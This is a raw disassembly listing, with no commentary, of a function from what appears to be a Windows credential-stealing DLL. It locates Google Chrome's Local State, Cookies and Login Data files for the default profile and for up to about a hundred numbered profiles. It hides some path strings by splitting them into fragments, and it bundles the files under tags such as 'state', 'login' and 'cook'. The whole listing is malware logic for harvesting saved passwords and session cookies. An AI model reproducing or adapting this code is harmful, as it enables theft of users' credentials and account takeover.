lea rcx, [rbp]
call fcn.180005820
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x138]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
mov rax, qword [r14 + 0x40]
cmp rax, qword [r14 + 0x48]
je 0x180081c9b
lea rdx, [rbp - 0x50]
mov rcx, rax
call fcn.18008481c
add qword [r14 + 0x40], r12
jmp 0x180081cac
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [r14 + 0x38]
call fcn.18008725c
nop
lea rcx, [rbp - 0x50]
call fcn.1800135e0
nop
lea rcx, [rbp + 0x218]
call fcn.1800834a4
nop
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x218], rbx
lea rcx, [rbp + 0x218]
call fcn.180088cec
nop
lea rcx, [rbp + 0x330]
call fcn.18008447c
nop
mov qword [rbp + 0x330], rbx
lea rcx, [rbp + 0x330]
call fcn.180088cec
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, r12
jb 0x180081d39
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081d34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b2a
call fcn.180089bf0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r15b
lea rcx, [rsp + 0x30]
call fcn.18000564c
mov ebx, 0x20
inc rdi
cmp rdi, 0x6d
jb 0x1800815e8
mov edi, 0x1000
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rbp + 0x20]
call fcn.18000564c
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1800aaec0
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
lea rcx, str.GoogleChromeUser_DataLocal_State
call fcn.1800b7c58
mov r8, rax
lea rdx, str.GoogleChromeUser_DataLocal_State
lea rcx, [rbp + 0x20]
call fcn.180011c58
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], r13
cmovae rdx, qword [rbp + 0x20]
call fcn.18007bfa0
test eax, eax
je 0x180082a79
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rbp - 0x70]
call fcn.18000564c
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800aaec0
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
lea rcx, str.GoogleChromeUser_DataDefaultNetworkCookies
call fcn.1800b7c58
mov r8, rax
lea rdx, str.GoogleChromeUser_DataDefaultNetworkCookies
lea rcx, [rbp - 0x70]
call fcn.180011c58
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
lea rcx, [rsp + 0x70]
call fcn.18000564c
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.1800aaec0
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.18000564c
lea rcx, str.GoogleChromeUser_DataDefaultLogin_Data
call fcn.1800b7c58
mov r8, rax
lea rdx, str.GoogleChromeUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.180011c58
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r13
cmovae rdx, qword [rbp - 0x70]
call fcn.18007bfa0
test eax, eax
je 0x180082494
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], r13
cmovae rdx, qword [rsp + 0x70]
call fcn.18007bfa0
test eax, eax
je 0x180082494
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180105f00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1800056b0
nop
lea rcx, str.GoogleChromeUser_DataDefaultNetwork_
call fcn.1800b7c58
mov r8, rax
lea rdx, str.GoogleChromeUser_DataDefaultNetwork_
lea rcx, [rsp + 0x30]
call fcn.180011c58
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], r13
cmovae rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0x138]
call fcn.180086fa8
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], r12
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp + 0x138]
call fcn.1800057a8
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r13
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x40]
call fcn.180086fa8
nop
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1800844fc
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, r12
jb 0x180082038
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x180082033
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b12
call fcn.180089bf0
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r15b
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x170]
call fcn.180083524
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x170]
call fcn.180083660
lea rcx, [rbp + 0x290]
call fcn.180086218
test rax, rax
jne 0x1800820af
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000cb7c
lea rcx, [rbp + 0x178]
call fcn.180086218
test rax, rax
jne 0x1800820ef
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x170]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000cb7c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov ecx, 0x60
call fcn.180089bb4
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], r13
cmovae rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x20]
cmovae rdx, qword [rbp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.180086fa8
mov rbx, rax
mov qword [rbp - 0x20], r15
movdqa xmm0, xmmword [0x180105f10]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r15b
lea rdx, str.state
lea rcx, [rbp - 0x20]
call fcn.18000572c
mov qword [rbp], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp]
call fcn.1800aaec0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x1800821ea
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1800821e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b30
call fcn.180089bf0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], r13
cmovae rcx, qword [rsp + 0x70]
mov rax, qword [rbp - 0x80]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.180086fa8
mov rbx, rax
mov qword [rbp - 0x20], r15
movdqa xmm0, xmmword [0x180105f10]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r15b
lea rdx, str.login
lea rcx, [rbp - 0x20]
call fcn.18000572c
mov qword [rbp], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp]
call fcn.1800aaec0
mov qword [rbx + 0x10], r15
mov r13d, 0xf
mov qword [rbx + 0x18], r13
mov byte [rbx], r15b
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x1800822c4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x1800822bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b36
call fcn.180089bf0
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r13
mov byte [rbp + 0xb0], r15b
lea rdx, [0x180104dec]
lea rcx, [rbp + 0xb0]
call fcn.18000572c
nop
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r13
mov byte [rbp - 0x40], r15b
lea rdx, str.cook
lea rcx, [rbp - 0x40]
call fcn.18000572c
nop
lea r9, [rbp + 0xb0]
lea r8, [rbp - 0x40]
mov dl, byte [rbp + 0xa68]
lea rcx, [rbp + 0xf0]
call fcn.180006bf8
nop
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x20]
call fcn.180005bf4
nop
mov r8, rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086b68
nop
lea rcx, [rbp - 0x20]
call fcn.180004aa0
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, r12
jb 0x1800823a5
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, rdi
jb 0x1800823a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082b3c
call fcn.180089bf0
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r13
mov byte [rbp + 0xf0], r15b
mov rdx, qword [rbp - 0x28]
cmp rdx, r12
jb 0x1800823f0
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x1800823eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082aca
call fcn.180089bf0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r13
mov byte [rbp - 0x40], r15b
mov rdx, qword [rbp + 0xc8]
cmp rdx, r12
jb 0x18008244b
inc rdx
mov qword [rbp + 0xa70], rdx
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0xa78], rcx
cmp rdx, rdi
jb 0x180082446
lea rdx, [rbp + 0xa70]
lea rcx, [rbp + 0xa78]
call fcn.1800014e8
mov rdx, qword [rbp + 0xa70]
mov rcx, qword [rbp + 0xa78]
call fcn.180089bf0
lea rcx, [r14 + 0x38]
lea rdx, [rbp - 0x50]
call fcn.180085a18
nop
lea rcx, [rbp - 0x50]
call fcn.1800135e0
nop
lea rcx, [rbp + 0x170]
call fcn.18007eed8
nop
lea rcx, [rbp + 0x280]
call fcn.18007eea8
nop
lea rcx, [rbp + 0x138]
call fcn.180005410
nop
lea rcx, [rsp + 0x30]
call fcn.18000564c
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x50]
call fcn.180005160
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180011890
lea rcx, [rsp + 0x50]
call fcn.18000564c
lea rdx, str.GoogleChromeUser_DataProfile
lea rcx, [rbp - 0x70]
call fcn.180011844
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.18000ccfc
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180011874
nop
lea rcx, [rsp + 0x50]
call fcn.18000564c
lea rdx, str.NetworkCookies
lea rcx, [rbp - 0x70]
call fcn.180011844
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x50]
call fcn.180005160
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180011890
lea rcx, [rsp + 0x50]
call fcn.18000564c
lea rdx, str.ataProfile
lea rcx, [rbp + 0x90]
call fcn.180005160
mov rdi, rax
lea rdx, str.eChromeUser_D
lea rcx, [rbp + 0xd0]
call fcn.180005160
mov rbx, rax
lea rdx, str.Googl
lea rcx, [rbp + 0x118]
call fcn.180005160
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.180012138
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180012138
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180011874
nop
lea rcx, [rsp + 0x50]
call fcn.18000564c
nop
lea rcx, [rbp + 0x40]
call fcn.18000564c
nop
lea rcx, [rbp + 0x118]
call fcn.18000564c
nop
lea rcx, [rbp + 0xd0]
call fcn.18000564c
nop
lea rcx, [rbp + 0x90]
call fcn.18000564c
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.18000ccfc
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180011874
nop
lea rcx, [rbp + 0x90]
call fcn.18000564c
lea rdx, str.n_Data
lea rcx, [rbp + 0x118]
call fcn.180005160
mov rbx, rax
lea rdx, str.Logi
lea rcx, [rbp + 0xd0]
call fcn.180005160
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.180012138
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180011874
nop
lea rcx, [rbp + 0x90]
call fcn.18000564c
nop
lea rcx, [rbp + 0xd0]
call fcn.18000564c
nop
lea rcx, [rbp + 0x118]
call fcn.18000564c
lea rcx, [rbp - 0x70]
call fcn.180011824
mov rdx, rax
call fcn.18007bfa0
test eax, eax
je 0x180082a6c
lea rcx, [rsp + 0x70]
call fcn.180011824
mov rdx, rax
call fcn.18007bfa0
test eax, eax
je 0x180082a6c
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x40]
call fcn.180005160
nop
lea rdx, str.GoogleChromeUser_DataProfile
lea rcx, [rbp + 0x40]
call fcn.180011844
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.18000ccfc
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.180011874
nop
lea rcx, [rbp + 0x90]
call fcn.18000564c
lea rdx, str.Network_
lea rcx, [rbp + 0x40]
call fcn.180011844
lea rdx, [rbp + 0xa70]
lea rcx, [rbp + 0x40]
call fcn.1800178d8
mov rbx, rax
lea rdx, [rbp + 0xa78]
lea rcx, [rbp + 0x40]
call fcn.1800178f4
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x50]
call fcn.180086fa8
nop
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.1800053f4
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x70]
call fcn.1800178d8
mov rbx, rax
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x70]
call fcn.1800178f4
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0x90]
call fcn.180086fa8
nop
mov r8d, 0x20
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1800844fc
nop
lea rcx, [rbp + 0x90]
call fcn.180005410
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x170]
call fcn.180083524
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x170]
call fcn.180083660
lea rcx, [rbp + 0x280]
call fcn.180084438
lea rcx, [rbp + 0x170]
call fcn.180083460
lea rcx, [rbp + 0x80]
call fcn.1800848f8
nop
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x20]
call fcn.1800178d8
mov rbx, rax
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x20]
call fcn.1800178f4
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp - 0x20]
call fcn.180086fa8
mov rdi, rax
lea rdx, str.tate
lea rcx, [rbp + 0x118]
call fcn.18000548c
mov rbx, rax
lea rdx, [0x1800f86ec]
lea rcx, [rbp + 0xd0]
call fcn.18000548c
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.180005c68
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.180005b70
nop
mov r8, rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x80]
call fcn.180086b68
nop
lea rcx, [rbp + 0x390]
call fcn.180004aa0
nop
lea rcx, [rbp + 0x90]
call fcn.180005410
nop
lea rcx, [rbp + 0xd0]
call fcn.180005410
nop
lea rcx, [rbp + 0x118]
call fcn.180005410
nop
lea rcx, [rbp - 0x20]
call fcn.180005410
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x70]
call fcn.1800178d8
mov rbx, rax
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x70]
call fcn.1800178f4
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0x118]
call fcn.180086fa8
mov rdi, rax
lea rdx, [0x1801057cc]
lea rcx, [rbp + 0xd0]
call fcn.18000548c
mov rbx, rax
lea rdx, [0x180102880]
lea rcx, [rbp + 0x90]
call fcn.18000548c
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.180005c68
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.180005b70
nop
mov r8, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x80]
call fcn.180086b68
nop
lea rcx, [rbp + 0x390]
call fcn.180004aa0
nop
lea rcx, [rbp - 0x20]
call fcn.180005410
nop
lea rcx, [rbp + 0x90]
call fcn.180005410
nop
lea rcx, [rbp + 0xd0]
call fcn.180005410
nop
lea rcx, [rbp + 0x118]
call fcn.180005410
lea rdx, str.okies
lea rcx, [rbp + 0xd0]
call fcn.18000548c
mov rbx, rax
lea rdx, [0x1801057d8]
lea rcx, [rbp + 0x90]
call fcn.18000548c
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.180005c68
nop
lea r8, [rsp + 0x50]
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.180005bf4
nop
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x80]
call fcn.180086b68
nop
lea rcx, [rbp + 0x390]
call fcn.180004aa0
nop
lea rcx, [rbp - 0x20]
call fcn.180005410
nop
lea rcx, [rbp + 0x90]
call fcn.180005410
nop
lea rcx, [rbp + 0xd0]
call fcn.180005410
lea rcx, [r14 + 0x38]
lea rdx, [rbp + 0x80]
call fcn.180085a18
nop
lea rcx, [rbp + 0x80]
call fcn.1800135e0
nop
lea rcx, [rbp + 0x170]
call fcn.18007eed8
nop
lea rcx, [rbp + 0x280]
call fcn.18007eea8
nop
lea rcx, [rsp + 0x50]
call fcn.180005410
nop
lea rcx, [rbp + 0x40]
call fcn.18000564c
inc rsi
cmp rsi, 0x69
jb 0x180082494
lea rcx, [r14 + 0x38]
call fcn.180004fb8
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.18000564c
nop
lea rcx, [rsp + 0x70]
call fcn.18000564c
nop
lea rcx, [rbp - 0x70]
call fcn.18000564c
nop
lea rcx, [rbp + 0x60]
call fcn.180005410
mov eax, ebx
mov rbx, qword [rsp + 0xb60]
add rsp, 0xb20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800b8368
nop
call fcn.1800b8368
int3
call fcn.1800b8368
int3
call fcn.1800b8368
int3
call fcn.1800b8368
int3
call fcn.1800b8368
int3
call fcn.1800b8368
int3
call fcn.1800b8368
nop
call fcn.1800b8368
nop
call fcn.1800b8368
int3
call fcn.1800b8368
nop
call fcn.1800b8368
nop
call fcn.1800b8368
nop
call fcn.1800b8368
nop
call fcn.1800b8368
int3
call fcn.1800b8368
nop
call fcn.1800b8368
nop
call fcn.1800b8368
int3
call fcn.1800b8368
nop
call fcn.1800b8368
int3